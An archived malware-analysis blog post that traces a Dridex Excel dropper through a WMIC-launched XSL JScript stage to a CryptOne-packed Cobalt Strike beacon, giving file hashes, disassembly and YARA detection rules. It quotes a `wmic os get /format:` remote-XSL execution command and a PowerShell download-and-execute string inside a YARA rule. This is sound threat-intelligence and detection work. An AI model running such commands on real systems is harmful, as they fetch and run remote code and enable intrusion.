Dridex Document to Cobalt Strike – Malware Book Reports

By muzi View all posts

Archived: 2026-04-05 19:37:51 UTC

On June 30th, Dridex Excel documents were observed downloading Cobalt Strike packed with the CryptOne packer – skipping the typical in-between step of downloading Dridex.

```
 Filename: attachment_filenameUTF-8WO202825876.xlsb
MD5: 56d9a0db8defe0857dd4bb7c9af97ee2
SHA1: abf0d796220d5e8ba7a5cc3f5ed2421411a5fb56
SHA256: a0747e6e54af1fde0586add639282d26b5e22a0bb4e4cca5d362c6eb6f6f3ed4
```

Excel Document Dropper

Figure 1: Excel Document Dropper

The Dridex document dropper was delivered via an xlsb attachment. When opened, it displays the above image, claiming that the document is encrypted and protected by GlobalSign® and prompts the user to ‘Enable Content’ to run malicious VBA macros.

Unlike many maldocs, the VBA contained in this Excel document is fairly straightforward. The VBA creates a scheduled task which executes 68 seconds from the time of running. The contents of the scheduled task are stored in the cells of the GlocalSign Protected sheet, which is the sheet that is displayed when the document is opened. The data in cell range `BG63:EL175` are combined to form the scheduled task, stored in the `xAccounting3` variable. Next, the time is added to the scheduled task and then stored in the variable `xWKS`.

Figure 2: VBA Macro

The author was also nice enough to include the `Debug.Print xWKs` statement, which prints out the scheduled task that is created. The scheduled task abuses a living off the land technique called [WMIC Remote XSL JScript Execution].

Figure 3: Scheduled Task Created by VBA Macro

XSL Second Stage

```
 Filename: FNzCMeQWqRMmewW.xsl
MD5: a5c64d06c553216741e1441a26a9f44b
```

```
SHA-1: 218bd229168f6da1821128548a455798b77089ff
SHA-256: 09ffc962612f1d28e72b59b9a2c7c8f24aa058a3198c80a9d3180445870c3e88
```

The next stage, an XSL file, is executed via the command `wmic os get /format:\"<link_to_malicious_xsl>"` from the scheduled task previously mentioned. The XSL file contains multiple blocks of JScript which are obfuscated. These code blocks, while obfuscated, give away some hints that allow for an educated guess as to what the goal of the code is.

Figure 4: Snippet of XSL File Containing JScript

Figure 5: Snippet of XSL File Containing PowerShell Command

Based on the code snippets above, it can be inferred that the main goal of the included JScript inside the XSL file is to download and execute a payload from one of the URLs in the array `zyalpyuauvojieqf` using PowerShell. Once this obfuscated code is deobfuscated/cleaned up, it is very straightforward. The code downloads and executes a payload from the current User's `%APPDATA%` directory.

Figure 6: Deobfuscated/cleaned XSL File

Third Stage: Dridex… Wait, Actually Cobalt Strike

```
  Filename: 5H99AkSE5ER.php
MD5: 2680d519097273ace671daf7ac0f9e8d
SHA1: 6af97623ce61dee9f2d6331eb113e2c16831d00f
SHA256: c5b39009be422e89c793241831efd12c6827de20a56b71783d4fd80db9409910
```

Over the last couple of weeks, the Excel maldoc above has been observed delivering Dridex as the third stage payload. In this case, it appears that rather than download Dridex, the actors behind this campaign (TA575, which runs botnet 22201) have decided to go straight to dropping Cobalt Strike. This decision was likely made in order to get initial access into the hands of ransomware groups even faster.

When opened in PE studio, this executable appears to be packed. There are a few extra PE sections, entropy is relatively high at 7.096 and the strings don't provide much information. Diving into Ghidra and the disassembled code, one routine in particular stood out:

Figure 7: CryptOne Packer Killswitch (RegKey Check)

The CryptOne packer is a software crypter that has previously been observed being used by Wastedlocker, Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The Emotet group has also used this packer previously. The following article provides a wealth of information surrounding this CryptOne packer and is an excellent resource

that was used during the analysis of this malware: https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/. According to the article from deepinstinct/Ron Ben Yizhak:

> The unpacking process is composed of two stages until the destined malware is executed. The first stage is the DLL that is created by the packing software. This DLL contains encrypted data in one of its sections, which is copied to a RWX buffer and then decrypted. This data contains a shellcode and another block of encrypted data.
>
> *Ron Ben Yizhak*

CryptOne first decrypted and executed an embedded exe and transferred execution to that executable.

Figure 8: Decrypted Loader within CryptOne packed executable

Next, after execution is transferred to the decrypted loader, RWX memory is allocated and another executable is written to that allocated memory. Notice the file starts with `4D5A` (MZ) but is followed with `5245` (RE). MZRE and MZAR are indicators of Cobalt Strike Magic MZ, which overrides the first bytes in order to execute shellcode which jumps to or executes its export function, `ReflectiveLoader@4`.

Figure 9: DLL by loader (Hint: MZRE –> Beacon Magic MZ)

Finally, after the DLL is written, it is executed via CreateRemoteThread, where the shellcode in the header calls the `ReflectiveLoader@4` function.

Figure 10: ReflectiveLoader Export

After dumping the DLL and loading into PE studio, there is additional evidence as to what the final payload is.

Figure 11: Dump DLL using ProcessHacker

Figure 12: PE Studio Detects beacon.dll as Original Filename

Cobalt Strike Config

Now that the final payload has been identified as Cobalt Strike, the last step of analysis is to extract the configuration of the beacon payload. There are a variety of ways to do this:

- Debugging
- Sandboxing in a tool such as tria.ge
- SentinelOne's CobaltStrikeParser

For the sake of simplicity, SentinelOne's CobaltStrikeParser was used to extract the Beacon config.

Figure 13: Cobalt Strike Config

Detection

CryptOne Packer Yara Rule

```
 rule CryptOne_Packer  {

meta:
        author = "muzi"
        date = "06/30/2021"
        description = "Detects CryptOne packer. Typically used to crypt Cobalt Strike, Gozi ISFB, Zloader and Sr
        references = "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/"

    strings:
        /*
          Packer makes cmp dword to 0 several times for no reason, then jumps
           0044D417 | 833D 88384500 00         | cmp dword ptr ds:[453888],0             |
           0044D41E | 74 05                    | je 5h99akse5er.44D425                   |
           0044D420 | E8 ABFFFFFF              | call 5h99akse5er.44D3D0                 |
           0044D425 | 833D 88384500 00         | cmp dword ptr ds:[453888],0             |
           0044D42C | 74 05                    | je 5h99akse5er.44D433                   |
           0044D42E | E8 2DFEFFFF              | call 5h99akse5er.44D260                 |
           0044D433 | 833D 88384500 00         | cmp dword ptr ds:[453888],0             |
           0044D43A | 74 05                    | je 5h99akse5er.44D441                   |
           0044D43C | E8 8FFFFFFF              | call 5h99akse5er.44D3D0                 |
           0044D441 | 833D 88384500 00         | cmp dword ptr ds:[453888],0             |
           0044D448 | 74 05                    | je 5h99akse5er.44D44F                   |
           0044D44A | E8 11FEFFFF              | call 5h99akse5er.44D260                 |
           0044D44F | 833D 88384500 00         | cmp dword ptr ds:[453888],0             |
           0044D456 | 74 05                    | je 5h99akse5er.44D45D                   |
           0044D458 | E8 03FEFFFF              | call 5h99akse5er.44D260                 |
           0044D45D | 833D 88384500 00         | cmp dword ptr ds:[453888],0             |
           0044D464 | 74 0F                    | je 5h99akse5er.44D475                   |
        */

        $worthless_cmp = {
                            83 3D ?? ?? ?? 00 00                        [0-8]       // cmp dword <dword ptr>
                            74 ??                                       [0-8]       // je <address>
                            (E8|FF) ?? ?? ?? ??                         [0-8]       // call <function>
                            83 3D ?? ?? ?? 00 00                                    // cmp dword <dword ptr>
                          }

        /*
```

```
  0044d1c4 ff 15 4c        CALL       dword ptr [->KERNEL32.DLL::GetLastError]
           26 45 00
  0044d1ca 83 f8 06        CMP        EAX,0x6
  0044d1cd 74 04           JZ         LAB_0044d1d3
  0044d1cf 33 c0           XOR        EAX,EAX
                       LAB_0044d1d3                                    XREF[1]:     0044d1cd(j)
  0044d1d3 68 bc 38        PUSH       DAT_004538bc
           45 00
  0044d1d8 8b 45 f8        MOV        EAX,dword ptr [EBP + local_c]
  0044d1db 50              PUSH       EAX=>DAT_004521b4                                = 35h
  0044d1dc 8b 0d 34        MOV        ECX,dword ptr [DAT_00452134]                     = 80000020h
           21 45 00
  0044d1e2 83 e9 20        SUB        ECX,0x20
  0044d1e5 51              PUSH       ECX
  0044d1e6 ff 15 44        CALL       dword ptr [->ADVAPI32.DLL::RegOpenKeyA]
           29 45 00
  0044d1ec 89 45 fc        MOV        dword ptr [EBP + local_8],EAX
  0044d1ef 83 7d fc 00     CMP        dword ptr [EBP + local_8],0x0
  0044d1f3 74 0b           JZ         LAB_0044d200
                       LAB_0044d1f5                                    XREF[1]:     0044d1fe(j)
  0044d1f5 ba 01 00        MOV        EDX,0x1
           00 00
  0044d1fa 85 d2           TEST       EDX,EDX
  0044d1fc 74 02           JZ         LAB_0044d200
  0044d1fe eb f5           JMP        LAB_0044d1f5
*/

$reg_key_check = {
              (FF|E8) ?? ?? ?? ?? ??                                          // CALL dword ptr [->KE
              (83|93|A3|B3|C3|D3) (F8|F9|FA|FB|FC|FD|FE|FF) 06 [0-64]         // CMP <reg> 6
              68 ?? ?? ?? ?? [0-8]                                            // PUSH data
              (88|89|8A|8B|8C) (45|4D|55|5D|6D|75|7D) (F?|E?|D?|C?|B?|A?) [0-8]   // MOV <reg>, [ebp + of
              5? [0-8]                                                        // PUSH <reg>
              (88|89|8A|8B|8C) (0d|15|1d|25|2d|35|3d) ?? ?? ?? ?? [0-24]      // MOV <reg> dword
              ff ?? ?? ?? ?? ?? [0-8]                                         // CALL dword ptr [->AD
              (88|89|8A|8B|8C) 45 (F8|F9|FA|FB|FC|FD|FE|FF)          [0-8]    // MOV [EBP + local_8],
              83 (78|79|7A|7B|7D|7E|7F) (F8|F9|FA|FB|FC|FD|FE|FF) 00 [0-8]    // CMP dword ptr [EBP +
              (E2|EB|72|74|75|7C) ?? [0-64]                                   // Conditional JMP (Hea
              (B8|B9|BA|BB|BD|BE|BF) 01 00 00 00 [0-8]                        // MOV <reg>, 0x1
              (84|85) (D0|D1|D2|D3|D5|D6|D7) [0-8]                            // TEST <reg>,<reg>
              (E2|EB|72|74|75|7C) ?? [0-8]                                    // Loop/Conditional JMP
              (E2|EB|72|74|75|7C) ??                                          // Loop/Conditional JMP
            }

/*
 00401e6f 81 ea ad        SUB        EDX,0xcad
          0c 00 00
```

```
 00401e75 52              PUSH       EDX
 00401e76 ff 15 5c        CALL       dword ptr [DAT_004eb45c]
          b4 4e 00
 00401e7c 89 45 fc        MOV        dword ptr [EBP + local_8],EAX
 00401e7f 83 7d fc 00     CMP        dword ptr [EBP + local_8],0x0
 00401e83 74 0b           JZ         LAB_00401e90
                      LAB_00401e85                                    XREF[1]:     00401e8e(j)
 00401e85 b8 01 00        MOV        EAX,0x1
          00 00
 00401e8a 85 c0           TEST       EAX,EAX
 00401e8c 74 02           JZ         LAB_00401e90
 00401e8e eb f5           JMP        LAB_00401e85
                      LAB_00401e90                                    XREF[2]:     00401e83(j), 00401e8c(
 00401e90 e8 0b f4        CALL       FUN_004012a0                        undefined * FUN_004
          ff ff
 00401e95 a3 78 a1        MOV        [DAT_004ea178],EAX                  = 00000042h
          4e 00
 00401e9a 8b e5           MOV        ESP,EBP
 00401e9c 5d              POP        EBP
 00401e9d c3              RET
*/

$reg_key_check_2 = {
                    (80|81|82|83) ?? ?? ?? ?? ?? [0-8]                                      // SUB
                    (50|51|52|53|55|56|57) [0-8]                                            // PUS
                    ff ?? ?? ?? ?? ?? [0-8]                                                 // CAL
                    (88|89|8A|8B|8C) 45 (F8|F9|FA|FB|FC|FD|FE|FF)         [0-8]             // MOV
                    (83|93|A3|B3|C3|D3) (78|79|7A|7B|7D|7E|7F) (F8|F9|FA|FB|FC|FD|FE|FF) 00 [0-8] // CMP
                    (E2|EB|72|74|75|7C) ?? [0-8]                                            // Cor
                    (B8|B9|BA|BB|BD|BE|BF) 01 00 00 00 [0-8]                                // MOV
                    (84|85) (C0|C1|C2|C3|C4|C5|C6|C7) [0-8]                                 // TES
                    (E2|EB|72|74|75|7C) ?? [0-8]                                            // Cor
                    (E2|EB|72|74|75|7C) ??                                                  // Int
                  }

/*
 00402d35 50              PUSH       EAX=>u_aaaerfacE\{b196b287-bab4-101a-b6_00527800 = u"aaaerfacE\\{b19
 00402d36 8b 0d fc        MOV        ECX,dword ptr [DAT_005277fc]                        = 80000002h
          77 52 00
 00402d3c 83 e9 02        SUB        ECX,0x2
 00402d3f 51              PUSH       ECX
 00402d40 ff 55 f8        CALL       dword ptr [EBP + local_c]
 00402d43 89 45 fc        MOV        dword ptr [EBP + local_8],EAX
 00402d46 83 7d fc 00     CMP        dword ptr [EBP + local_8],0x0
 00402d4a 74 0b           JZ         LAB_00402d57
                      LAB_00402d4c                                    XREF[1]:     00402d55(j)
 00402d4c ba 01 00        MOV        EDX,0x1
```

```
           00 00
  00402d51 85 d2           TEST       EDX,EDX
  00402d53 74 02           JZ         LAB_00402d57
  00402d55 eb f5           JMP        LAB_00402d4c
 */

 $reg_key_check_3 = {

                     (50|51|52|53|55|56|57) [0-8]                                                  // PUS
                     (88|89|8A|8B|8C) (0d|15|1d|25|2d|35|3d) ?? ?? ?? ?? [0-8]                     // MOV
                     (80|81|82|83) ?? ??  [0-8]                                                    // SUB
                     (50|51|52|53|55|56|57) [0-8]                                                  // PUS
                     ff ?? ??  [0-8]                                                               // CAL
                     (88|89|8A|8B|8C) 45 (F8|F9|FA|FB|FC|FD|FE|FF)          [0-8]                  // MOV
                     (83|93|A3|B3|C3|D3) (78|79|7A|7B|7D|7E|7F) (F8|F9|FA|FB|FC|FD|FE|FF) 00 [0-8] // CMP
                     (E2|EB|72|74|75|7C) ?? [0-8]                                                  // Con
                     (B8|B9|BA|BB|BD|BE|BF) 01 00 00 00 [0-8]                                      // MOV
                     (84|85) (D0|D1|D2|D3|D4|D5|D6|D7) [0-8]                                       // TES
                     (E2|EB|72|74|75|7C) ?? [0-8]                                                  // Con
                     (E2|EB|72|74|75|7C) ??                                                        // Int

                    }

 /*
   Infinite Loop Check - Malware always checks for a certain reg key and if it doesn't exist, it will loop
 */

 $inf_loop_eax = {B8 01 00 00 00
                  85 C0
                  7? 0?
                  EB F?}

 $inf_loop_ecx = {B9 01 00 00 00
                  85 C9
                  7? 0?
                  EB F?}

 $inf_loop_edx = {BA 01 00 00 00
                  85 CA
                  7? 0?
                  EB F?}

 $inf_loop_ebx = {BB 01 00 00 00
                  85 CB
                  7? 0?
                  EB F?}
```

```
      $inf_loop_ebp = {BD 01 00 00 00
                       85 CD
                       7? 0?
                       EB F?}

      $inf_loop_esi = {BE 01 00 00 00
                       85 CE
                       7? 0?
                       EB F?}

      $inf_loop_edi = {BF 01 00 00 00
                       85 CF
                       7? 0?
                       EB F?}

    condition:
        (#worthless_cmp >= 3 and ($reg_key_check or $reg_key_check_2 or $reg_key_check_3)) or
        $reg_key_check_3 or
        any of ($inf_loop_*)

}
```

Cobalt Strike Beacon Yara Rule

```
 rule Cobalt_Strike_Beacon {
    meta:
        author = "muzi"
        date = "2021-07-04"
    strings:
        $s1 = "MZRE"
        $s2 = "MZAR"
        $s3 = "could not run command (w/ token) because of its length of %d bytes!"
        $s4 = "could not spawn %s (token): %d"
        $s5 = "could not spawn %s: %d"
        $s6 = "Could not open process token: %d (%u)"
        $s7 = "could not run %s as %s\\%s: %d"
        $s8 = "could not upload file: %d"
        $s9 = "could not open %s: %d"
        $s10 = "could not get file time: %d"
        $s11 = "could not set file time: %d"
        $s12 = "Could not connect to pipe (%s): %d"
        $s13 = "Could not open service control manager on %s: %d"
        $s14 = "Could not create service %s on %s: %d"
        $s15 = "Could not start service %s on %s: %d"
        $s16 = "Failed to impersonate token: %d"
        $s17 = "ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset."
```

```
        $s18 = "could not write to process memory: %d"
        $s19 = "could not create remote thread in %d: %d"
        $s20 = "%d is an x64 process (can't inject x86 content)"
        $s21 = "%d is an x86 process (can't inject x64 content)"
        $s22 = "Could not connect to pipe: %d"
        $s23 = "kerberos ticket use failed: %08x"
        $s24 = "could not connect to pipe: %d"
        $s25 = "Maximum links reached. Disconnect one"
        $s26 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')"
        $s27 = "I'm already in SMB mode"
        $s28 = "Failed to duplicate primary token for %d (%u)"
        $s29 = "Failed to impersonate logged on user %d (%u)"
        $s30 = "LibTomMath"
        $s31 = "beacon.dll"
        $s32 = "ReflectiveLoader@4"
    condition:
        6 of them

}
```

Cobalt Strike Magic MZ Yara Rule

```
 rule Cobalt_Strike_Magic_MZ {
    meta:
        author = "muzi"
        date = "2021-07-04"

    condition:
        uint32be(0) == 0x4D5A5245 or uint32be(0) == 0x4D5A4152

}
```

Source: https://malwarebookreports.com/cryptone-cobalt-strike/